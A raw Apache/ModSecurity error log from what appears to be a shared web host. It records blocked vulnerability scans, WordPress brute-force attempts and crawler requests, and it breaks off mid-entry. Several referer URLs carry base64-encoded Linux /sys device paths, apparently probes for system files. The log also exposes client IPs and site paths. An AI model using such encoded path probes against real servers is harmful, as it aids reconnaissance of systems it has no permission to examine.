https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MC9pZA== [Sat Jun 13 18:14:30.155702 2026] [security2:error] [pid 531155:tid 531178] [remote 17.246.23.79:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 79.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yZimiP80klyS0NnogpQABiBY"] [Sat Jun 13 18:14:30.385108 2026] [access_compat:error] [pid 531155:tid 531182] [remote 57.141.14.109:23754] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:30.385404 2026] [access_compat:error] [pid 531155:tid 531182] [remote 57.141.14.109:23754] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:30.604450 2026] [security2:error] [pid 531155:tid 531282] [remote 17.22.237.119:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 119.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yZimiP80klyS0NnogtwABQn4"] [Sat Jun 13 18:14:30.706174 2026] [access_compat:error] [pid 531155:tid 531192] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50MS9kZXZpY2Uvc3Vic3lzdGVtL2V2ZW50NS9wb3dlcg== [Sat Jun 13 18:14:30.706632 2026] [access_compat:error] [pid 531155:tid 531192] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50MS9kZXZpY2Uvc3Vic3lzdGVtL2V2ZW50NS9wb3dlcg== [Sat Jun 13 18:14:30.806232 2026] [access_compat:error] [pid 531155:tid 531189] [remote 57.141.14.8:58629] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:30.806688 2026] [access_compat:error] [pid 531155:tid 531189] [remote 57.141.14.8:58629] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:31.031499 2026] [access_compat:error] [pid 531155:tid 531234] [remote 57.141.14.110:53946] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:31.031992 2026] [access_compat:error] [pid 531155:tid 531234] [remote 57.141.14.110:53946] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:31.090765 2026] [access_compat:error] [pid 531155:tid 531230] [remote 57.141.14.94:34866] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:31.091189 2026] [access_compat:error] [pid 531155:tid 531230] [remote 57.141.14.94:34866] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:31.105275 2026] [security2:error] [pid 531155:tid 531177] [remote 17.241.219.13:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 13.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yZymiP80klyS0Nnog1AABaRU"] [Sat Jun 13 18:14:31.122926 2026] [access_compat:error] [pid 531155:tid 531229] [remote 57.141.14.84:61880] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:31.123345 2026] [access_compat:error] [pid 531155:tid 531229] [remote 57.141.14.84:61880] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:31.237906 2026] [access_compat:error] [pid 531155:tid 531202] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNl [Sat Jun 13 18:14:31.238187 2026] [access_compat:error] [pid 531155:tid 531202] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNl [Sat Jun 13 18:14:31.311196 2026] [security2:error] [pid 531155:tid 531201] [remote 17.22.237.54:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yZymiP80klyS0Nnog4AABPS0"] [Sat Jun 13 18:14:31.385778 2026] [security2:error] [pid 531155:tid 531277] [remote 57.141.14.99:44330] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 99.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai3yZymiP80klyS0Nnog4wABIXk"], referer: https://nelsonfarmstn.com/product-category/specials/page/2/?add_to_wishlist=3129&_wpnonce=8d149de2a5 [Sat Jun 13 18:14:31.689417 2026] [autoindex:error] [pid 531155:tid 531396] [client 185.213.175.168:51568] AH01276: Cannot serve directory /home4/mlqotnmy/public_html/: No matching DirectoryIndex (index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.php,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive [Sat Jun 13 18:14:31.700889 2026] [security2:error] [pid 531155:tid 531206] [remote 17.246.19.197:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 197.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yZymiP80klyS0Nnog9gABJDI"] [Sat Jun 13 18:14:31.757071 2026] [access_compat:error] [pid 531155:tid 531237] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDQ= [Sat Jun 13 18:14:31.757363 2026] [access_compat:error] [pid 531155:tid 531237] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDQ= [Sat Jun 13 18:14:31.822349 2026] [security2:error] [pid 531155:tid 531387] [client 114.119.128.56:51725] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "londonsquarespirits.com"] [uri "/cocktails/whisky"] [unique_id "ai3yZymiP80klyS0Nnog_gAAAXA"], referer: https://londonsquarespirits.com/cocktails/whisky [Sat Jun 13 18:14:31.900046 2026] [security2:error] [pid 531155:tid 531204] [remote 209.87.149.26:40085] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 26.149.87.209.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "djstardao.com"] [uri "/wp-login.php"] [unique_id "ai3yZymiP80klyS0NnohAQABVzA"] [Sat Jun 13 18:14:31.933980 2026] [access_compat:error] [pid 531155:tid 531172] [remote 57.141.14.31:35704] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:31.934415 2026] [access_compat:error] [pid 531155:tid 531172] [remote 57.141.14.31:35704] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:32.136684 2026] [access_compat:error] [pid 531155:tid 531165] [remote 57.141.14.73:64070] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:32.137126 2026] [access_compat:error] [pid 531155:tid 531165] [remote 57.141.14.73:64070] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:32.175325 2026] [security2:error] [pid 531155:tid 531216] [remote 209.42.18.223:52902] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 223.18.42.209.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "mail.impromptufridaynights.com"] [uri "/wp-login.php"] [unique_id "ai3yaCmiP80klyS0NnohGQABazw"] [Sat Jun 13 18:14:32.215762 2026] [security2:error] [pid 531155:tid 531291] [client 216.73.217.70:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 70.217.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/imap/tests/imap_utf8.phpt"] [unique_id "ai3yaCmiP80klyS0NnohGwAAARA"] [Sat Jun 13 18:14:32.308607 2026] [access_compat:error] [pid 531155:tid 531180] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2UvZHJpdmVyL0xOWFBXUkJOOjAw [Sat Jun 13 18:14:32.308896 2026] [access_compat:error] [pid 531155:tid 531180] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2UvZHJpdmVyL0xOWFBXUkJOOjAw [Sat Jun 13 18:14:32.334887 2026] [access_compat:error] [pid 531155:tid 531159] [remote 57.141.14.94:34868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:32.335172 2026] [access_compat:error] [pid 531155:tid 531159] [remote 57.141.14.94:34868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:32.373239 2026] [security2:error] [pid 531155:tid 531160] [remote 209.87.149.26:40085] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 26.149.87.209.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "djstardao.com"] [uri "/wp-login.php"] [unique_id "ai3yaCmiP80klyS0NnohIgABMwQ"], referer: https://djstardao.com/wp-login.php [Sat Jun 13 18:14:32.467664 2026] [autoindex:error] [pid 531155:tid 531379] [client 185.213.175.168:51568] AH01276: Cannot serve directory /home4/mlqotnmy/public_html/: No matching DirectoryIndex (index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.php,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: http://mlq.otn.mybluehost.me [Sat Jun 13 18:14:32.553028 2026] [access_compat:error] [pid 531155:tid 531193] [remote 216.73.216.182:42797] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:32.553424 2026] [access_compat:error] [pid 531155:tid 531193] [remote 216.73.216.182:42797] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:32.762116 2026] [access_compat:error] [pid 531155:tid 531178] [remote 57.141.14.29:30539] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:32.762558 2026] [access_compat:error] [pid 531155:tid 531178] [remote 57.141.14.29:30539] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:32.787209 2026] [security2:error] [pid 531155:tid 531266] [remote 17.241.219.198:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 198.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yaCmiP80klyS0NnohSAABSG4"] [Sat Jun 13 18:14:32.847793 2026] [access_compat:error] [pid 531155:tid 531217] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQ1L2RldmljZS9ldmVudDUvZGV2aWNl [Sat Jun 13 18:14:32.848238 2026] [access_compat:error] [pid 531155:tid 531217] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQ1L2RldmljZS9ldmVudDUvZGV2aWNl [Sat Jun 13 18:14:32.883891 2026] [access_compat:error] [pid 531155:tid 531280] [remote 57.141.14.102:30411] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:32.884346 2026] [access_compat:error] [pid 531155:tid 531280] [remote 57.141.14.102:30411] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:32.886082 2026] [security2:error] [pid 531155:tid 531404] [client 114.119.141.2:35885] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "dse.net"] [uri "/wp-content/themes/BLANK-Theme/images/linebody.jpg"] [unique_id "ai3yaCmiP80klyS0NnohVgAAAYE"], referer: http://dse.net/wp-content/themes/BLANK-Theme/images/linebody.jpg [Sat Jun 13 18:14:33.338170 2026] [security2:error] [pid 531155:tid 531229] [remote 17.241.75.163:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 163.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yaSmiP80klyS0NnohbwABfUk"] [Sat Jun 13 18:14:33.369404 2026] [access_compat:error] [pid 531155:tid 531224] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9kZXZpY2UvaW5wdXQvaW5wdXQ3L2RldmljZS9kcml2ZXIvbW9kdWxlL3NlY3Rpb25z [Sat Jun 13 18:14:33.369932 2026] [access_compat:error] [pid 531155:tid 531224] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9kZXZpY2UvaW5wdXQvaW5wdXQ3L2RldmljZS9kcml2ZXIvbW9kdWxlL3NlY3Rpb25z [Sat Jun 13 18:14:33.679874 2026] [security2:error] [pid 531155:tid 531274] [remote 